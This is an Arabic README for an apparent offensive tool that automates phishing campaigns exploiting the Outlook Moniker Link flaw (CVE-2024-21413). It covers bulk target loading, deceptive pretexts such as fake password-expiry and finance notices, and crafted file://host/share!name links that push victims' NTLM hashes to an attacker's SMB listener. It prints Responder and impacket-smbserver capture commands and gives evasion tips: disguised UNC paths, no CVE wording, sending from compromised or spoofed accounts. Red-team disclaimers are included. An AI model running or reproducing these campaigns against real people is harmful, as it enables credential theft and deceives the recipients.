BLIND TRUST - إطار عمل محاكاة هجمات التصيد عبر Moniker Link

أداة بحث أمني لمحاكاة حملات تصيد موجهة تستغل ثغرة Moniker Link المعروفة باسم CVE-2024-21413. صُممت لعمليات الفريق الأحمر المصرح بها واختبار الاختراق والتدريب على التوعية الأمنية.

نظرة عامة

BLIND TRUST هو إطار عمل لعمليات التصيد يساعد فرق الأمن على فهم واختبار دفاعاتها ضد الهجمات المتطورة القائمة على البريد الإلكتروني. يستخدم تقنية Moniker Link لتجاوز وضع Protected View في Outlook، مما يوفر محاكاة واقعية للهجمات يمكن للمؤسسات استخدامها لتعزيز وضعها الأمني.

تقوم هذه الأداة بأتمتة سير عمل الحملة بالكامل — من الإعداد وحتى تسليم البريد الإلكتروني — مع الحفاظ على الأمن العملياتي عبر مسارات UNC قابلة للتخصيص وخيارات حجج مرنة.

الغرض

تحتاج المؤسسات إلى فهم تقنيات الهجوم الحقيقية للدفاع بفعالية. تتيح TRUST ما يلي:

• عمليات الفريق الأحمر - تنفيذ حملات تصيد مصرح بها كجزء من التقييمات الأمنية
• التدريب على التوعية الأمنية - عرض ناقلات الهجوم الواقعية للموظفين
• التحقق من الثغرات - اختبار قدرات الكشف ضد التقنيات المعروفة
• أبحاث الدفاع - فهم سلوك Moniker Link في بيئتك

الميزات

• حملات متعددة الأهداف - إرسال رسائل تصيد إلى أهداف متعددة بإعداد واحد
• تحميل مرن للأهداف - تحميل الأهداف عبر إدخال تفاعلي أو ملفات .txt بنمط قوائم الكلمات
• حجة قابلة للتخصيص - التحكم في موضوع البريد الإلكتروني واسم المرسل الظاهر ونص الرسالة
• مسارات UNC غير بارزة - تخصيص مسار Moniker Link ليبدو واقعياً (المجال، اسم المشاركة، اسم الاستغلال)
• مصادقة SMTP - دعم لخوادم SMTP متعددة مع التفاوض على TLS
• منطق إعادة محاولة تلقائي - تراجع تصاعدي للفشل المؤقت في SMTP
• تقارير الحملة - حالة التسليم لكل هدف مع نتائج مجمعة
• لا توقيعات مشفرة داخل الكود - إزالة المؤشرات الواضحة التي تكشف التقنية

التثبيت

المتطلبات

• Python 3.7+
• المكتبة القياسية فقط (بدون تبعيات خارجية)

الإعداد

# Clone the repository
git clone https://github.com/h1ssbl1tz/Blind-Trust.git
cd TRUST

# Run the tool
python3 TRUST_v7.py

المتطلبات

تستخدم الأداة وحدات المكتبة القياسية في Python فقط:

getpass      - Secure password input
html         - HTML escaping
ipaddress    - IP address validation
logging      - Structured logging
os           - File operations
re           - Regular expressions
signal       - Signal handling
smtplib      - SMTP email protocol
sys          - System utilities
time         - Time operations
dataclasses  - Configuration modeling
email        - MIME email construction
typing       - Type hints

لا تتطلب أي حزم خارجية — تعمل في أي مكان باستخدام Python 3.7+.

بدء سريع

python3 TRUST_v7.py

اتبع المعالج التفاعلي عبر 5 خطوات:

1. بيانات المهاجم - حساب SMTP لإرسال الرسائل
2. إعداد مستمع SMB - عنوان IP الذي ستتصل به الأهداف
3. إعداد الأهداف - تحميل الضحايا من الإدخال أو ملف قائمة كلمات
4. تخصيص البريد الإلكتروني - الموضوع واسم المرسل ونص الرسالة
5. تخصيص الحمولة - مضيف مسار UNC واسم المشاركة واسم الاستغلال

أمثلة الاستخدام

المثال 1: إدخال تفاعلي (حملة صغيرة)

Load targets from [f]ile or [i]nput directly?: i
Target email address(es): [email protected], [email protected]

Email subject [Security Update Required]: Urgent: Password Expiration Notice
Display name (From field) [Microsoft Security Center]: IT Security Team
Email body text: Your password expires in 24 hours. Please update immediately.

UNC host (IP or domain) [192.168.1.100]: it-internal.company.com
UNC share name [updates]: patches
UNC exploit name [patch]: kb_security_2024

المثال 2: تحميل قائمة كلمات (حملة كبيرة)

أنشئ ملف targets.txt:

# Finance Department
[email protected]
[email protected]
[email protected]

# Accounting
[email protected]
[email protected]

ثم شغّل:

Load targets from [f]ile or [i]nput directly?: f
Path to targets file: targets.txt
[+] Loaded 5 target(s) from targets.txt

المثال 3: حجة مالية واقعية

Email subject: Q3 Financial Review - Action Required
Display name: Finance Operations Team
Email body: Please review the attached Q3 financial statement and provide approval.

UNC host: finance-internal.company.com
UNC share: quarterly
UNC exploit: q3_financial_report

Generated UNC path: file://finance-internal.company.com/quarterly!q3_financial_report

شرح الإعدادات

الخطوة 1: بيانات المهاجم

• بريد المهاجم الإلكتروني: عنوان البريد المستخدم لإرسال رسائل التصيد (عادةً حساب مخترق أو منتحل)
• كلمة مرور SMTP: بيانات المصادقة لخادم البريد

الخطوة 2: مستمع SMB

• عنوان IP لمستمع SMB: عنوان IP الذي يعمل عليه مستمع SMB لديك (مثل Responder أو impacket-smbserver). ستحاول الأهداف الاتصال به هنا عند النقر على Moniker Link.

الخطوة 3: إعداد الأهداف

خياران:

• إدخال تفاعلي: لصق الرسائل الإلكترونية مباشرة (مفصولة بفواصل أو أسطر جديدة)
• ملف قائمة كلمات: التحميل من ملف .txt ببريد إلكتروني واحد لكل سطر، مع تعليقات تبدأ بـ #

الخطوة 4: تخصيص البريد الإلكتروني

• الموضوع: سطر موضوع البريد (تجنب الإشارات إلى CVE؛ أبقِه بأسلوب عملي)
• اسم المرسل الظاهر: الاسم الظاهر في ترويسة البريد الإلكتروني
• نص البريد: نص الحجة الذي يشرح لماذا يجب على الأهداف النقر على الرابط

الخطوة 5: تخصيص الحمولة

هذا هو المكان الذي تتجنب فيه التوقيعات الواضحة:

• مضيف UNC: استخدم مجالاً أو نطاقاً فرعياً واقعياً (مثل finance-internal.company.com) بدلاً من مجرد عنوان IP
• مشاركة UNC: اسم مشاركة واقعي مثل quarterly أو updates أو documents
• استغلال UNC: اسم ملف واقعي مثل q3_report أو security_patch أو training_document

النتيجة: بدلاً من الصيغة الواضحة \\192.168.1.100\share!exploit، تحصل على شيء مثل file://finance-internal.company.com/quarterly!q3_report.

تدفق التنفيذ

Start
  ↓
[STEP 1] Prompt for attacker email and SMTP password
  ↓
[STEP 2] Prompt for SMB listener IP
  ↓
[STEP 3] Load target emails (file or input)
  ↓
     ↓→ For each target:
     │  - Validate email format
     │  - Check for duplicates
     │
[STEP 4] Prompt for email pretext
     │  - Subject, From name, body text
     │
[STEP 5] Prompt for UNC path customization
     │  - Host, share, exploit name
     │
  ↓
[BUILD] Construct configuration object
  ↓
[VALIDATE] Check all fields are present and valid
  ↓
[SUMMARY] Display pre-send summary for review
  ↓
[CONFIRM] User approves or cancels
  ↓
[SEND] For each target:
     │  - Build MIME email with custom Moniker Link
     │  - Attempt SMTP delivery with retry logic
     │  - Log per-target success/failure
     │
  ↓
[REPORT] Display campaign results (delivered vs failed)
  ↓
Exit

كيف يعمل

الثغرة

CVE-2024-21413 (Moniker Link) هي ثغرة في Outlook تسمح بتضمين عناوين file:// مع حرف !. عند قيام المستخدم بالنقر على مثل هذا الرابط، يحاول Outlook الوصول إلى مسار UNC، مما يؤدي إلى تشغيل محاولة مصادقة NTLM حتى في وضع Protected View.

تدفق الهجوم

1. يتلقى المستخدم بريداً إلكترونياً يحتوي على Moniker Link
2. يبدو البريد شرعياً (بفضل الحجة المخصصة لديك)
3. ينقر المستخدم على الرابط
4. يحاول Outlook الوصول إلى \\host\share!exploit
5. يتجاوز حرف ! وضع Protected View
6. يتحقق نظام المستخدم من المصادقة لدى مستمع SMB لديك
7. تلتقط تجزئة NTLM أو معلومات بيانات الاعتماد

ماذا تفعل هذه الأداة

تقوم TRUST بأتمتة مرحلة التسليم:

• تصمم رسائل بريد إلكتروني واقعية بحجة مخصصة
• تحقن Moniker Link في حمولة HTML
• تدير اتصالات SMTP وإعادة المحاولة
• تتعامل مع أهداف متعددة بكفاءة
• توفر تقارير عن الحملة

استكشاف الأخطاء وإصلاحها

المشكلة: "SMTP attempt 3 failed: [SMTP: 535]"

الحل: تحقق من بيانات اعتماد SMTP. بالنسبة إلى Gmail، استخدم كلمة مرور خاصة بالتطبيق. بالنسبة لبريد الشركات، راجع مسؤول SMTP لديك.

المشكلة: "TLS not supported. Proceeding without encryption."

الحل: أمر طبيعي لبعض خوادم SMTP. سيستمر الاتصال بدون تشفير TLS.

المشكلة: "Invalid email: victim@"

الحل: تأكد من أن عناوين البريد في ملفات قوائم الكلمات كاملة وبتنسيق صحيح ([email protected]).

المشكلة: "Recipient rejected"

الحل: عنوان البريد غير موجود على الخادم الهدف، أو أن الخادم يمنع الترحيل من حسابك.

المشكلة: "File not found: targets.txt"

الحل: تحقق من صحة مسار الملف ووجود الملف في الدليل الحالي.

الأسئلة الشائعة

س: هل استخدام هذه الأداة قانوني؟ ج: فقط بتفويض كتابي صريح من المؤسسة التي تختبرها. التصيد غير المصرح به غير قانوني. احرص دائماً على وجود نطاق عمل وقواعد اشتباك مكتوبة.

س: هل يمكن لهذه الأداة تجاوز مرشحات البريد الإلكتروني المتقدمة؟ ج: إنها محاكاة واقعية، لكن أنظمة أمان البريد الحديثة قد تكتشفها مع ذلك. هذا هو الهدف — إذا فشلت مرشحات مؤسستك ضدها، فلديك مشكلة يجب حلها.

س: لماذا تخصيص مسار UNC؟ ج: الصيغة الأصلية \\IP\share!exploit كاشفة بشكل واضح. يستخدم المهاجمون الحقيقيون مسارات واقعية. يجب على فريقك الأمني رصد المؤشرات الواضحة والخفية معاً.

س: هل يمكنني استخدام هذا لتدريب الموظفين؟ ج: نعم. بعد الاختبار المصرح به، استخدم أمثلة حملات منقحة في التدريب على التوعية الأمنية لعرض تقنيات الهجوم الحقيقية على الموظفين.

س: هل تلتقط هذه الأداة بيانات الاعتماد؟ ج: لا. تقوم TRUST بتسليم البريد الإلكتروني فقط. تحتاج إلى مستمع SMB منفصل (مثل Responder أو impacket-smbserver) لالتقاط تجزئات NTLM عندما تنقر الأهداف على الرابط.

س: كيف أقوم بإعداد مستمع SMB؟ ج: استخدم Responder على لينكس أو impacket-smbserver:

# Responder (captures hashes)
sudo responder -i eth0 -v

# impacket-smbserver (file server simulation)
impacket-smbserver Share /tmp -smb2support

القيود

• لا توجد إمكانية مدمجة لالتقاط بيانات الاعتماد: أنت من توفر مستمع SMB؛ وTRUST تسلّم الرسائل فقط
• لا حفظ للحملات: تُطبع النتائج على وحدة التحكم؛ وجّه مخرجات stdout للحفظ
• لا ذكاء استهداف: يجب عليك جمع عناوين البريد الإلكتروني للأهداف بنفسك
• لا تشويش للبريد الإلكتروني: بينما مسارات UNC قابلة للتخصيص، فإن ترويسات البريد هي SMTP قياسية
• لا تعدد خيوط: تُرسل الرسائل تسلسلياً لضمان الموثوقية

إخلاء المسؤولية

هذه الأداة مخصصة للاختبار الأمني المصرح به فقط.

• يجب أن يكون لديك إذن كتابي صريح لتنفيذ حملات التصيد
• الاستخدام غير المصرح به غير قانوني وغير أخلاقي
• استخدمها فقط في بيئات خاضعة للتحكم ضد أنظمة تملكها أو لديك إذن باختبارها
• اتبع دائماً القوانين واللوائح المعمول بها
• لا يتحمل المؤلفون أي مسؤولية عن إساءة الاستخدام أو الأضرار الناجمة عن هذه الأداة

باستخدامك لـ TRUST، فإنك تقر بأنك تفهم الآثار القانونية ولديك التفويض المناسب.

توصيات للاستخدام المسؤول

1. احصل على تفويض كتابي - احصل على قواعد اشتباك موقعة قبل أي حملة
2. حدد نطاق أهدافك - حدد الأنظمة والأشخاص المشمولين في النطاق
3. خطط للمعالجة - جهز خطة تدريب جاهزة للموظفين الذين وقعوا في التصيد
4. وثّق النتائج - احتفظ بسجلات مفصلة للتقييم
5. أبلغ بالنتائج - قدم ملاحظات لأصحاب المصلحة حول ما كان فعالاً
6. احترم الخصوصية - لا تستخدم البيانات الملتقطة خارج البرنامج الأمني

التحسينات المستقبلية

• حفظ الحملات وتسجيلها في ملف
• نظام قوالب لحجة البريد الإلكتروني
• تكامل مع LDAP لجرد الأهداف
• عرض قوالب HTML لرسائل أكثر تطوراً
• جدولة الحملات (تسليم زمني)
• لوحة تقارير بمؤشرات وتحليلات
• دعم تقنيات تصيد أخرى تتجاوز Moniker Link

الترخيص

يُطرح هذا المشروع بموجب رخصة MIT مع إضافة قيد استخدام. راجع LICENSE للتفاصيل.

الاعتمادات والإسناد

يستند هذا المشروع إلى البحث والتنفيذ الأصليين لثغرة CVE-2024-21413 والمستوحى منهما من CMNatic (https://github.com/cmnatic).

يستحق CMNatic كامل التقدير من أجل:

• البحث الأصلي للثغرة وإثبات المفهوم
• التنفيذ التقني الأساسي
• التوثيق العام الأولي

يمثل هذا المستودع نسخة معدلة وموسعة من ذلك العمل، مع تحسينات تشمل:

• دعم حملات متعددة الأهداف
• حجة بريد إلكتروني قابلة للتخصيص
• تخصيص مسار UNC غير بارز
• تحميل الأهداف عبر قوائم الكلمات
• تحسين معالجة SMTP ومنطق إعادة المحاولة
• توثيق شامل

راجع CREDITS.md للحصول على إسناد أكثر تفصيلاً.

المؤلف

H1SS - وسّع هذا الإصدار وحافظ عليه لأغراض البحث الأمني والاختبار المصرح به.

المساهمة

المساهمات مرحب بها. يرجى التأكد من أن أي تغييرات:

• تحافظ على التركيز التعليمي للأداة
• تتضمن توثيقاً مناسباً
• تتبع ممارسات الإفصاح المسؤول
• لا تُدخل تبعيات خارجية

راجع CONTRIBUTING.md للحصول على الإرشادات.

الدعم

للاستفسارات أو الأسئلة أو الاقتراحات، افتح issue على GitHub.

تذكر: هذه الأداة مشروع بحثي. استخدمها بمسؤولية وقانونية وأخلاقية.